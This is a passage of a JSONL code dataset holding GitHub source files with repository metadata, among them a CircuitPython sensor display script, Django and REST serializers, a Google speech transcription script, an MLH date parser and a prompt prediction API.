SCK and MOSI\necs = board.D9\ndc = board.D10\nrst = None # set to None for FeatherWing/Shield\nbusy = None\n\ndisplayio.release_displays()\ndisplay_bus = displayio.FourWire(spi, command=dc, chip_select=ecs, reset=rst, baudrate=1000000)\n\ntime.sleep(1) # Wait a bit\ndisplay = adafruit_il0373.IL0373(display_bus, width=128, height=296, border=0x000000, swap_rams=False, busy_pin=busy, rotation=180, highlight_color=0xFFFFFF, black_bits_inverted=False, color_bits_inverted=False, grayscale=True, refresh_time=10)\n\ni2c = board.STEMMA_I2C()\ntime.sleep(1) # Wait a bit\n\nbmp280 = adafruit_bmp280.Adafruit_BMP280_I2C(i2c)\n# Set fixed altitude otherwise set the the local bmp280.sea_level_pressure\nbmp280.altitude = 695.0\nbmp280.mode = adafruit_bmp280.MODE_FORCE\nbmp280.overscan_pressure = adafruit_bmp280.OVERSCAN_X2\n# bmp280.t_standby = STANDBY_TC_0_5\nbatt = LC709203F(i2c)\nwifi.radio.enabled = True\nprint(\"My MAC addr:\", [hex(i) for i in wifi.radio.mac_address])\nwifi.radio.stop_scanning_networks()\ntry:\n wifi.radio.connect(secrets[\"ssid\"], secrets[\"password\"])\nexcept:\n print(\"Cannot connect to WIFI \")\n pass\nprint(\"Connected to %s!\"%secrets[\"ssid\"])\nprint(\"My IP address is\", wifi.radio.ipv4_address)\npool = socketpool.SocketPool(wifi.radio)\ntry:\n requests = adafruit_requests.Session(pool, ssl.create_default_context())\nexcept:\n print(\"Cannot requests\")\n\nWEATHER_URL = \"https://weather.gc.ca/rss/city/bc-86_e.xml\"\n\ntry:\n response = requests.get(WEATHER_URL, timeout=5)\n time.sleep(1)\n forecast = [line.lstrip(\" \").rstrip(\"\") for line in response.text.split(\"\\n\") if (line.startswith(\" \")) or (line.startswith(\" <![CDATA\"))]\n print(forecast)\n try:\n outside_humidity = forecast[2].split(\"Humidity:</b> \")\n outside_humidity = outside_humidity[1][:3].strip()\n print(outside_humidity + \"%\")\n except:\n outside_humidity = forecast[1].split(\"Humidity:</b> \")\n outside_humidity = outside_humidity[1][:3].strip()\n print(\"cannot get humidity\")\n try:\n outside_temp = forecast[2].split(\"Temperature:</b> \")\n print(outside_temp)\n outside_temp = outside_temp[1][:4].strip()\n print(outside_temp + \"°C\")\n except:\n outside_temp = forecast[1].split(\"Temperature:</b> \")\n print(outside_temp)\n outside_temp = outside_temp[1][:4].strip()\n print(\"Cannot get external temp\")\nexcept:\n print(\"Cannot fetch weather \")\n pass\n\nscd4x = adafruit_scd4x.SCD4X(i2c)\nscd4x.altitude = 695\nscd4x.temperature_offset = 3.0\n# scd4x.force_calibration(440)\n# scd4x.factory_reset()\n# scd4x.persist_settings()\ntime.sleep(1) # Wait a bit\nscd4x.start_periodic_measurement()\n\naio_username = secrets[\"aio_username\"]\naio_key = secrets[\"aio_key\"]\nio = IO_HTTP(aio_username, aio_key, requests)\n\nfont = bitmap_font.load_font(\"/Helvetica-Bold-16.bdf\")\nfont2 = bitmap_font.load_font(\"/IBMPlexMono-Medium-24.bdf\")\n\nTEMP_label = label.Label(font, text=\"TEMP\", color=0x000000, scale=2)\nTEMP_label.x = 28\nTEMP_label.y = 15\n\nOUTDOOR_TEMP_label = label.Label(font2, text=\"OUTDOOR TEMP\", color=0x000000, scale=1)\nOUTDOOR_TEMP_label.x = 40\nOUTDOOR_TEMP_label.y = 42\n\nHUM_label = label.Label(font, text=\"HUM\", color=0x000000, scale=2)\nHUM_label.x = 30\nHUM_label.y = 75\n\nOUTDOOR_HUM_label = label.Label(font2, text=\"OUTDOOR HUM\", color=0x000000, scale=1)\nOUTDOOR_HUM_label.x = 45\nOUTDOOR_HUM_label.y = 102\n\nC02_label = label.Label(font2, text=\"C02 \", color=0x000000, scale=2)\nC02_label.x = 5\nC02_label.y = 160\n\nPRES_label = label.Label(font2, text=\"PRES\", color=0x000000, scale=1)\nPRES_label.x = 15\nPRES_label.y = 225\n\nALT_label = label.Label(font2, text=\"ALT\", color=0x000000, scale=1)\nALT_label.x = 15\nALT_label.y = 250\n\nBATT_label = label.Label(font2, text=\"BATT\", color=0x000000, scale=1)\nBATT_label.x = 50\nBATT_label.y = 280\n\nbitmap = displayio.Bitmap(display.width, display.height, 4)\npalette = displayio.Palette(4)\npalette[0] = 0x000000\npalette[1] = 0xFFFFFF #b'\\xff\\xff\\xff'\npalette[2] = 0x333333\npalette[3] = 0x666666\n\n# displayio.Palette.make_transparent(palette[2])\n\n# Create a TileGrid using the Bitmap and Palette\ntile_grid = displayio.TileGrid(bitmap, pixel_shader=palette)\n\n# # Create a display group for our screen objects\ng = displayio.Group()\ng.append(tile_grid)\n\nbitmap.fill(1)\ng.append(C02_label)\ng.append(TEMP_label)\ng.append(OUTDOOR_TEMP_label)\ng.append(HUM_label)\ng.append(OUTDOOR_HUM_label)\ng.append(PRES_label)\ng.append(ALT_label)\ng.append(BATT_label)\n\nsprite_sheet, palette = adafruit_imageload.load(\"/spritesheet.bmp\", bitmap=displayio.Bitmap, palette=displayio.Palette)\n# Example using displayio.OnDiskBitmap() vs adafruit_imageload()\n# f = open(\"/top.bmp\", \"rb\")\n# pic = displayio.OnDiskBitmap(f)\n# t = displayio.TileGrid(pic, pixel_shader=pic.pixel_shader)\n# t.transpose_xy = True\n# g.append(t)\nsprite_bat = displayio.TileGrid(sprite_sheet, pixel_shader=palette, width = 1, height = 1, tile_width = 16, tile_height = 16)\nsprite_temp = displayio.TileGrid(sprite_sheet, pixel_shader=palette, width = 1, height = 1, tile_width = 16, tile_height = 16)\nsprite_humid = displayio.TileGrid(sprite_sheet, pixel_shader=palette, width = 1, height = 1, tile_width = 16, tile_height = 16)\n# sprite.transpose_xy = True\n\nsprite_bat.x = 2\nsprite_bat.y = 132\nif (batt.cell_percent > 95):\n sprite_bat[0] = 4\nelif (batt.cell_percent < 96) and (batt.cell_percent > 50):\n sprite_bat[0] = 3\nelif (batt.cell_percent < 51) and (batt.cell_percent > 35):\n sprite_bat[0] = 2\nelif (batt.cell_percent < 36) and (batt.cell_percent > 5):\n sprite_bat[0] = 1\nelse:\n sprite_bat[0] = 0\n\nsprite_temp.x = -2\nsprite_temp.y = 6\nif (bmp280.temperature > 25):\n sprite_temp[0] = 9\nelif (bmp280.temperature < 26) and (bmp280.temperature > 20):\n sprite_temp[0] = 8\nelif (bmp280.temperature < 21) and (bmp280.temperature > 18):\n sprite_temp[0] = 7\nelif (bmp280.temperature < 19) and (bmp280.temperature > 15):\n sprite_temp[0] = 6\nelse:\n sprite_temp[0] = 5\n\nsprite_humid.x = -2\nsprite_humid.y = 38\nif (scd4x.relative_humidity > 75):\n sprite_humid[0] = 14\nelif (scd4x.relative_humidity < 76) and (scd4x.relative_humidity > 50):\n sprite_humid[0] = 13\nelif (scd4x.relative_humidity < 51) and (scd4x.relative_humidity > 35):\n sprite_humid[0] = 12\nelif (scd4x.relative_humidity < 36) and (scd4x.relative_humidity > 20):\n sprite_humid[0] = 11\nelse:\n sprite_humid[0] = 10\n\ngfx = displayio.Group(scale=2)\ngfx.append(sprite_bat)\ngfx.append(sprite_temp)\ngfx.append(sprite_humid)\n\ncomp = displayio.Group()\ncomp.append(g)\ncomp.append(gfx)\n\n# # Place the display group on the screen\n# display.show(comp) \ndisplay.root_group = comp\n\nambient_pressure = bmp280.pressure\nscd4x.set_ambient_pressure(int(ambient_pressure))\n\ndef send_multiple(self, feeds_and_data: List, timeout: int = 3, is_group: bool = False):\n pass\n\n\nwhile True:\n bmp280.altitude = 695.0\n print(\"bmp280 Temperature: %0.1f°C\" % bmp280.temperature)\n TEMP_label.text = \"%0.1f°C\" % bmp280.temperature\n OUTDOOR_TEMP_label.text = outside_temp + \"°C\"\n OUTDOOR_HUM_label.text = outside_humidity + \".0%\"\n print(\"Pressure: %0.1f hPa\" % bmp280.pressure)\n PRES_label.text = \"%0.1fhPa\" % bmp280.pressure\n print(\"Altitude: %0.2f meters\" % bmp280.altitude)\n ALT_label.text = \"%0.2fm\" % bmp280.altitude\n \n # print(\"Calculated Sea Level Pressure: %0.1f hPa\" % bmp280.p0)\n print()\n print(\"Battery: %0.3f Volts / %0.1f %%\" % (batt.cell_voltage, batt.cell_percent))\n BATT_label.text = \"%0.1f%%\" % batt.cell_percent\n if scd4x.data_ready:\n print(\"\\nCO2: %d ppm\" % scd4x.CO2)\n print(\" scd4x Temperature: %0.1f°C\" % scd4x.temperature)\n print(\"Humidity: %0.1f %%\" % scd4x.relative_humidity)\n C02_label.text = str(scd4x.CO2)\n bbx, bby, bbwidth, bbh = C02_label.bounding_box\n # print(bbx, bby, bbwidth, bbh)\n C02_label.x = round(display.width / 2 - bbwidth)\n \n HUM_label.text = \"%0.1f%%\" % scd4x.relative_humidity\n \n # io.publish_multiple([('humidity', scd4x.relative_humidity), ('temperature', bmp280.temperature),('outside-humidity', outside_humidity), ('outside-temperature', outside_temp),('pressure', bmp280.pressure),('co2', scd4x.CO2)])\n \n #Handy MQTT only function io.send_multiple([('humidity', scd4x.relative_humidity), ('temperature', bmp280.temperature),('outside-humidity', outside_humidity), ('outside-temperature', outside_temp),('pressure', bmp280.pressure),('co2', scd4x.CO2)])\n\n io.send_data('temperature', bmp280.temperature, precision=1)\n time.sleep(3)\n io.send_data('humidity', scd4x.relative_humidity, precision=1)\n time.sleep(3)\n io.send_data('outside-temperature', outside_temp)\n time.sleep(3)\n io.send_data('outside-humidity', outside_humidity)\n time.sleep(3)\n io.send_data('pressure', bmp280.pressure, precision=1)\n time.sleep(3)\n io.send_data('co2', scd4x.CO2)\n print(\"Data sent!\")\n # Refresh the display to have it actually show the image\n # NOTE: Do not refresh eInk displays sooner than 180 seconds\n display.refresh()\n\n wifi.radio.enabled = False\n bmp280.mode = adafruit_bmp280.MODE_SLEEP\n time_alarm = alarm.time.TimeAlarm(monotonic_time=time.monotonic() + 3600)\n # Exit the program, and then deep sleep until the alarm wakes us.\n alarm.exit_and_deep_sleep_until_alarms(time_alarm)\n # Does not return, so we never get here.\n # time.sleep(300)","repo_name":"somenice/EnviroIOT","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":9925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32455894844","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('get-playlist-tracks/<str:id>', views.get_playlist_tracks, name=\"get_playlist_tracks\"),\n path('search-playlist/<str:query>', views.search_playlist, name=\"search_playlist\"),\n path('get-track-preview/<str:id>', views.track_preview, name=\"get_track_preview\"),\n path('create-session/', views.create_session, name=\"create_session\"),\n]\n","repo_name":"whateverdat/spotify_quiz_drf_vue","sub_path":"server/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13968108483","text":"import numpy as np\nimport pandas as pd\n\n\ndef str_to_array(s) -> np.ndarray:\n return np.array(list(map(int, s.split(\"|\"))))\n\n\ndef sort_by_interaction(row, lookup_series: pd.Series):\n impressions = str_to_array(row[\"impressions\"])\n user_session = row['user_id'] + row['session_id']\n if user_session not in lookup_series.index:\n recommendations = str(impressions).strip('[]')\n recommendations = \" \".join(recommendations.split())\n return recommendations\n interactions = lookup_series[user_session]\n recommendations = []\n # first add all interactions\n for i in interactions:\n if i != 'unknown' and int(i) in impressions and int(i) not in recommendations:\n recommendations.append(int(i))\n # add all other impressions left in order\n for impr in impressions:\n if impr not in recommendations:\n recommendations.append(impr)\n # list of recommendations to single string\n recommendations = str(recommendations).replace(\",\", \"\").strip('[]')\n return recommendations\n\n\ndef get_lookup_series(df_source: pd.DataFrame) -> pd.Series:\n df = df_source.copy()\n df['user_session'] = df['user_id'] + df['session_id']\n df_interacted = df[(df['action_type'] == 'interaction item image') | (\n df['action_type'] == 'search for item') | (\n df['action_type'] == 'interaction item rating') | (\n df['action_type'] == 'interaction item info') | (\n df['action_type'] == 'interaction item deals')]\n # reverse dataframe -> the later interactions are more important\n df_interacted = df_interacted.iloc[::-1]\n df_interacted = df_interacted[['user_session', 'reference']]\n interactions_lookup = df_interacted.groupby('user_session')['reference'].apply(list)\n return interactions_lookup\n\n\ndef calc_recommendation(df_train: pd.DataFrame, df_target: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Calculate recommendations based on interactions (latest one counts more)\n\n The final data frame will have an impression list sorted according to the interactions\n\n :param df_train: Data frame with training data\n :param df_target: Data frame with target\n :return: Data frame with sorted impression list according to interactions\n \"\"\"\n lookup_series = get_lookup_series(df_train)\n df_tc = df_target.copy()\n df_tc['item_recommendations'] = df_tc.apply(lambda x: sort_by_interaction(x, lookup_series), axis=1)\n df_out = df_tc[['user_id', 'session_id', 'timestamp', 'step', 'item_recommendations']]\n return df_out\n","repo_name":"PatrickRi/Rec_Sys","sub_path":"src/interactions/interactions.py","file_name":"interactions.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1004447033","text":"from rest_framework import serializers\nfrom rest_framework.relations import HyperlinkedIdentityField\nfrom .models import *\n\nclass TagSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Tag\n fields = ['id', 'title']\n\nclass TextSnippetSerializer(serializers.ModelSerializer):\n detail_url = HyperlinkedIdentityField(view_name='snippet_detail')\n\n class Meta:\n model = TextSnippet\n fields = ['id', 'title', 'timestamp','created_by', 'tag', 'detail_url']\n\n\n\nclass SnippetCreateSerializer(serializers.ModelSerializer):\n class Meta:\n model = TextSnippet\n fields = ['title', 'timestamp','created_by','tag']\n\n def create(self,validated_data):\n snippet = TextSnippet.objects.create(**validated_data)\n return snippet\n\n\nclass ChangeTextSnippetSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = TextSnippet\n fields = ['title', 'timestamp','created_by','tag']\n\n def update(self, validated_data, instance):\n\n try:\n title = validated_data.get('title')\n timestamp = validated_data.get('timestamp')\n created_by = validated_data.get('created_by')\n tag = validated_data.get('tag')\n\n if title:\n instance.title = title\n\n if timestamp:\n instance.timestamp = timestamp\n\n if created_by:\n instance.created_by = created_by\n\n if tag:\n instance.tag = tag\n\n instance.save()\n return instance\n except:\n return False\n\n\nclass TagCreateSerializer(serializers.ModelSerializer):\n class Meta:\n model = Tag\n fields = ['title']\n\n def create(self,validated_data):\n tag = Tag.objects.create(**validated_data)\n return tag","repo_name":"soorajparemal/snippetcreator","sub_path":"retriever/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42144733381","text":"import os\nimport io\nfrom google.cloud import speech\nimport wave\nfrom pydub import AudioSegment\nfrom tqdm import tqdm\nfrom google.cloud import storage\n\ntrain_path = os.path.relpath('../Data/train/')\ntest_path = os.path.relpath('../Data/test')\nvalidation_path = os.path.relpath('../Data/validation')\ntrain_write_path = os.path.relpath('../transcripts/train')\ntest_write_path = os.path.relpath('../transcripts/test')\nvalidation_write_path = os.path.relpath('../transcripts/validation')\nfailed_path = os.path.relpath('../failed.txt')\nsave_path = os.path.relpath('..')\nbucket_name = 'msc_research'\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]=\"/home/changhyun/workspace/ABI_research/config/config3.json\"\n\n\ndef main():\n train_long_files, train_short_files = find_long_audios(train_path)\n test_long_files, test_short_files = find_long_audios(test_path)\n validation_long_files, validation_short_files = find_long_audios(validation_path)\n\n print('Training files transcribing...')\n transcribe(train_path, train_write_path, train_long_files, train_short_files)\n print('Testing files transcribing...')\n transcribe(test_path, test_write_path, test_long_files, test_short_files)\n print('Validation files transcribing...')\n transcribe(validation_path, validation_write_path, validation_long_files, validation_short_files)\n\n\ndef transcribe(path, write_path, long_files, short_files):\n long_confidences = []\n short_confidences = []\n for file in long_files:\n file_name = os.path.join(path, file)\n transcript, confidence = long_transcribe(file_name)\n if confidence == 0:\n print(\"Failed to transcribe:\", file_name)\n fi = open(failed_path, \"a\")\n fi.write(file_name+'\\n')\n fi.close()\n\n long_confidences.append(confidence)\n new_path = os.path.join(write_path, file[0:21] + '.txt')\n write_transcripts(new_path, transcript)\n print(file[0:21], '.txt has been created')\n\n print('End of long files')\n for file in short_files:\n file_name = os.path.join(path, file)\n transcript, confidence = short_transcribe(file_name)\n if confidence == 0:\n print(\"Failed to transcribe:\", file_name)\n fi = open(failed_path, \"a\")\n fi.write(file_name + '\\n')\n fi.close()\n\n short_confidences.append(confidence)\n new_path = os.path.join(write_path, file[0:21] + '.txt')\n write_transcripts(new_path, transcript)\n print(file[0:21], '.txt has been created')\n\n print('Average confidences for long files:', mean(long_confidences))\n print('Average confidences for short files:', mean(short_confidences))\n\n\ndef long_transcribe(audio_file_name):\n # file_name = filepath + audio_file_name\n\n # The name of the audio file to transcribe\n\n frame_rate, channels = frame_rate_channel(audio_file_name)\n\n # source_file_name = filepath + audio_file_name\n destination_blob_name = audio_file_name\n\n upload_blob(bucket_name, audio_file_name, destination_blob_name)\n\n gcs_uri = 'gs://' + bucket_name + '/' + audio_file_name\n transcript = ''\n\n client = speech.SpeechClient()\n audio = speech.RecognitionAudio(uri=gcs_uri)\n value = False\n if channels > 1:\n value = True\n\n config = speech.RecognitionConfig(\n encoding=speech.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=frame_rate,\n audio_channel_count=channels,\n enable_separate_recognition_per_channel=value,\n language_code='en-US')\n\n # Detects speech in the audio file\n operation = client.long_running_recognize(config=config, audio=audio)\n response = operation.result(timeout=10000)\n confidence = []\n\n for result in response.results:\n transcript += result.alternatives[0].transcript\n confidence.append(result.alternatives[0].confidence)\n\n delete_blob(bucket_name, destination_blob_name)\n return transcript, mean(confidence)\n\n\ndef short_transcribe(audio_file_name):\n client = speech.SpeechClient()\n confidences = []\n transcript=''\n frame_rate, channels = frame_rate_channel(audio_file_name)\n value = False\n if channels > 1:\n value = True\n with io.open(audio_file_name, \"rb\") as audio_file:\n content = audio_file.read()\n audio = speech.RecognitionAudio(content=content)\n config = speech.RecognitionConfig(\n encoding=speech.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=frame_rate,\n audio_channel_count=channels,\n enable_separate_recognition_per_channel=value,\n language_code=\"en-US\",\n )\n try:\n response = client.recognize(config=config, audio=audio)\n except:\n print(audio_file_name)\n for result in response.results:\n transcript += result.alternatives[0].transcript\n confidences.append(result.alternatives[0].confidence)\n\n return transcript, mean(confidences)\n\n# The API does not support stereo audio files so that we need to check the audio files are mono\n# def check_if_files_mono():\n# sample = AudioSegment.from_wav(audio_path)\n# print(sample.channels)\n\n\ndef write_transcripts(transcript_filename,transcript):\n f= open(transcript_filename,\"w+\")\n f.write(transcript)\n f.close()\n\n\ndef frame_rate_channel(audio_file):\n with wave.open(audio_file, \"r\") as wf:\n frame_rate = wf.getframerate()\n channels = wf.getnchannels()\n return frame_rate, channels\n\n\ndef frame_rate_channel_freq(audio_path):\n frame_rates = {}\n channels = {}\n for file in os.listdir(audio_path):\n path = os.path.join(audio_path, file)\n with wave.open(path, \"r\") as wf:\n frame_rate = wf.getframerate()\n channel = wf.getnchannels()\n freq = frame_rates.get(frame_rate, \"None\")\n if freq == \"None\":\n frame_rates[frame_rate] = 1\n else:\n frame_rates[frame_rate] += 1\n freq = channels.get(channel, \"None\")\n if freq == \"None\":\n channels[channel] = 1\n else:\n channels[channel] += 1\n return frame_rates, channels\n\n\n# limit 60sec & 10MB\ndef find_long_audios(path):\n long_files = []\n short_files = []\n for file in os.listdir(path):\n file_path = os.path.join(path, file)\n size = byte_to_mb(os.path.getsize(file_path))\n if size > 10:\n long_files.append(file)\n continue\n\n with wave.open(file_path, \"r\") as wf:\n frame_rate = wf.getframerate()\n channel = wf.getnchannels()\n n_frames = wf.getnframes()\n duration = n_frames / float(frame_rate)\n if duration > 60:\n long_files.append(file)\n else:\n short_files.append(file)\n return long_files, short_files\n\n\ndef upload_blob(bucket_name, source_file_name, destination_blob_name):\n \"\"\"Uploads a file to the bucket.\"\"\"\n storage_client = storage.Client()\n bucket = storage_client.get_bucket(bucket_name)\n blob = bucket.blob(destination_blob_name)\n blob.upload_from_filename(source_file_name)\n\n\ndef delete_blob(bucket_name, blob_name):\n \"\"\"Deletes a blob from the bucket.\"\"\"\n storage_client = storage.Client()\n bucket = storage_client.get_bucket(bucket_name)\n blob = bucket.blob(blob_name)\n blob.delete()\n\n\ndef mean(li):\n if len(li) == 0:\n return 0\n return sum(li) / len(li)\n\n\ndef byte_to_mb(size):\n return size / 1024 / 1024\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"eddie8615/ABI_research","sub_path":"feature_extraction/transcribing.py","file_name":"transcribing.py","file_ext":"py","file_size_in_byte":7556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34886683068","text":"from SVO import find_svo\nwith open('./train.txt','r') as train_file:\n lines = train_file.readlines()\n\ndef process_line(sentence,category):\n vo = find_svo(sentence)\n if(len(vo)<2):\n new_sentence = sentence\n else:\n new_sentence = ' '.join(vo)\n new_sentence.strip()\n with open('train_svo','a+') as svo_file:\n svo_file.write(new_sentence + ',' + category + '\\n')\n\nfor line in lines:\n if(not lines.index(line)):\n with open('./train_svo','a+') as svo_file:\n svo_file.write(line)\n continue\n line = line.strip()\n line = line.lower()\n sentence,category = line.split(',')\n if('/' in sentence):\n #my fridge/refrigerators is broken\n sentence1,sentence2 = sentence.split('/')\n sentence1_new = sentence1 + ' ' + ' '.join(sentence2.split(' ')[1:])\n sentence2_new = ' '.join(sentence1.split(' ')[:-1]) + ' ' + sentence2\n process_line(sentence1_new,category)\n process_line(sentence2_new,category)\n else:\n process_line(sentence,category)\n \n","repo_name":"k-amin07/Category-Classifier","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7905571504","text":"from flask import request\nfrom tools import api_tools\nfrom pylon.core.tools import log\n\nfrom ...models.pd.prompts_pd import PredictPostModel\nfrom ...models.prompts import Prompt\nfrom ...utils.ai_providers import AIProvider\n\n\nfrom tools import db\n\nfrom pylon.core.tools import log\n\n\nclass ProjectAPI(api_tools.APIModeHandler):\n @api_tools.endpoint_metrics\n def post(self, project_id: int):\n payload = dict(request.json)\n ignore_template_error = payload.pop('ignore_template_error', False)\n update_prompt = payload.pop('update_prompt', False)\n payload['project_id'] = project_id\n try:\n data = PredictPostModel.parse_obj(payload)\n except Exception as e:\n log.error(\"************* data = PredictPostModel.parse_obj(payload)\")\n log.error(str(e))\n log.error(\"*************\")\n return {\"error\": str(e)}, 400\n model_settings = data.integration_settings.dict(exclude={'project_id'}, exclude_unset=True)\n\n if update_prompt:\n with db.with_project_schema_session(project_id) as session:\n session.query(Prompt).filter(Prompt.id == data.prompt_id).update(\n dict(\n model_settings=model_settings,\n test_input=data.input_,\n integration_uid=data.integration_uid\n )\n )\n session.commit()\n\n try:\n integration = AIProvider.get_integration(\n project_id=project_id,\n integration_uid=data.integration_uid,\n )\n prompt_struct = self.module.prepare_prompt_struct(\n project_id, data.prompt_id, data.input_,\n data.context, data.examples, data.variables,\n ignore_template_error=ignore_template_error\n )\n except Exception as e:\n log.error(\"************* AIProvider.get_integration and self.module.prepare_prompt_struct\")\n log.error(str(e))\n log.error(\"*************\")\n return str(e), 400\n\n result = AIProvider.predict(project_id, integration, model_settings, prompt_struct)\n if not result['ok']:\n log.error(\"************* if not result['ok']\")\n log.error(str(result['error']))\n log.error(\"*************\")\n return str(result['error']), 400\n\n if isinstance(result['response'], str):\n result['response'] = {'messages': [{'type': 'text', 'content': result['response']}]}\n return result['response'], 200\n\n# class AdminAPI(api_tools.APIModeHandler):\n# ...\n\n\nclass API(api_tools.APIBase):\n url_params = [\n '<string:mode>/<int:project_id>',\n '<int:project_id>',\n ]\n\n mode_handlers = {\n 'default': ProjectAPI,\n # 'administration': AdminAPI,\n }\n","repo_name":"RavshanovUsmonbek/prompts","sub_path":"api/v1/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"34510871244","text":"# Converts a year 'yy' and date tuple '(mm, dd)' to yy-mm-dd format by default\ndef dateTupleToString(year_string, dateTuple, date_format=\"%s-%s-%s\"):\n month, day = dateTuple\n month_string = numericDateToString(month)\n day_string = numericDateToString(day)\n return date_format % (year_string, month_string, day_string)\n\n\n# Converts numbers to to '00' format\ndef numericDateToString(num):\n if num < 10:\n return \"0%s\" % str(num)\n else:\n return str(num)\n\n\n# Converts an mlh date format i.e 'Jan 1st - 2nd', 'Jan 5th - Feb 9th', 'Dec 9th', etc.\n# to a tuple that represents start to end dates ((mm,dd), (mm,dd))\ndef convertToDateTuple(compoundDate):\n startDate = None\n endDate = None\n splitDates = compoundDate.split(\"-\")\n if len(splitDates) == 1:\n startDate = parseRawDate(splitDates[0].strip())\n if len(splitDates) > 1:\n startDate = parseRawDate(splitDates[0].strip())\n startDateMonth, _ = startDate\n endDate = parseRawDate(\n splitDates[1].strip(), startDateMonth=startDateMonth\n ) # noqa\n return (startDate, endDate)\n\n\n# Parses a single mlh date i.e 'Jan 1st', '5th' to a date tuple (mm, dd)\n# In the absence of an end date month, the start date month can be used\ndef parseRawDate(rawDate, startDateMonth=None):\n splitDate = rawDate.split(\" \")\n # Incorrect input date\n if len(splitDate) < 1:\n return (None, None)\n # No month specified for end date, so copy start date month\n if len(splitDate) < 2:\n rawDay = splitDate[0].strip()\n day = extractNumericDay(rawDay)\n return (startDateMonth, day)\n else:\n rawMonth = splitDate[0].strip()\n rawDay = splitDate[1].strip()\n month = extractNumericMonth(rawMonth)\n day = extractNumericDay(rawDay)\n return (month, day)\n\n\n# Converts a month code i.e 'Jan' to its numeric representation\ndef extractNumericMonth(rawMonth):\n monthRange = [\n \"Jan\",\n \"Feb\",\n \"Mar\",\n \"Apr\",\n \"May\",\n \"Jun\",\n \"Jul\",\n \"Aug\",\n \"Sep\",\n \"Oct\",\n \"Nov\",\n \"Dec\",\n ]\n monthCode = 1\n for month in monthRange:\n if rawMonth == month:\n return monthCode\n monthCode = monthCode + 1\n return monthCode\n\n\n# Converts an mlh day i.e '1st', '2nd', 3rd', '29th', etc. to its numeric representation\ndef extractNumericDay(rawDay):\n dayRange = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n # Day of month has max 2 characters\n maxLoopCount = 2\n loopCount = 0\n day = \"\"\n for character in rawDay:\n if character in dayRange:\n day += character\n loopCount += 1\n if loopCount == maxLoopCount:\n break\n if day == \"\":\n return None\n return int(day)\n\n\n# Calculates a numeric date score for a date tuple i.e (mm, dd)\n# Computed from month and day in the context of the same year\ndef computeDateScore(date):\n # Must be > 61 to offset high day range scores\n weightModifier = 62\n dateScore = 0\n if date is not None:\n month, day = date\n if month is not None:\n dateScore = dateScore + (month * weightModifier)\n if day is not None:\n dateScore = dateScore + day\n return dateScore\n\n\n# Compare function for sorting date tuples i.e ((mm, dd), (mm,dd))\ndef compareDateTuple(dateTuple):\n # Lower scores places it higher up in the sort\n # Only compare start date score in every pair\n startDate, endDate = dateTuple\n # TODO: If same start date, perform additional sort on end date\n # Currently, something like 'Jan 1st - Dec 9th' could appear just before 'Jan 1st - 2nd'\n # Requires custom sort function\n startDateScore = computeDateScore(startDate)\n return startDateScore\n\n\n# Alternate date score computation for date string formats i.e 'yy-mm-dd'\ndef computeDateScoreStringFormat(date, key=\"start\", month_day_indexes=[1, 2]):\n # Lower scores places it higher up in the sort\n date_split = date[key].split(\"-\")\n # Ignore year\n month = date_split[month_day_indexes[0]]\n day = date_split[month_day_indexes[1]]\n # Must be > 61 to offset high day range scores\n weight_modifier = 62\n return int(month * weight_modifier) + int(day)\n\n\n# Function to compare mlh events (hackathons) by date in ascending order\ndef compareEvents(event):\n date = event[\"date\"]\n score = computeDateScoreStringFormat(date)\n return score\n\n\n# Sort events by date (ascending by default)\ndef sortEvents(events, reverse=False):\n return sorted(events, key=lambda e: compareEvents(e), reverse=reverse)\n\n\n# Sort date tuples (ascending by default)\ndef sortDateTuples(date_tuples, reverse=False):\n return sorted(date_tuples, key=lambda d: compareDateTuple(d), reverse=reverse)\n","repo_name":"DucNgn/MLH-Hackathons-API","sub_path":"app/controller/date_parser.py","file_name":"date_parser.py","file_ext":"py","file_size_in_byte":4801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"69947078439","text":"#!/usr/bin/env python3\n\nfrom lxml import etree as ET\nimport sys\n\n\ninput_file = sys.argv [1]\nlocale = sys.argv [2]\noutput_file = sys.argv [3]\n\ntree = ET.parse(input_file)\nroot = tree.getroot()\n\nfor child in root.findall('channel'):\n if locale not in child.attrib.get('id'):\n root.remove(child)\n print(\"Removed Channel \" + child.attrib.get('id'))\nfor child in root.findall('programme'):\n if locale not in child.attrib.get('channel'):\n root.remove(child)\n print(\"Removed Programme \" + child.attrib.get('channel'))\ntree.write(output_file)","repo_name":"stone662/guide_slimmer","sub_path":"guide_slimmer.py","file_name":"guide_slimmer.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31994925005","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('rent', '0003_supply_date_change'),\n ]\n\n operations = [\n migrations.AddField(\n 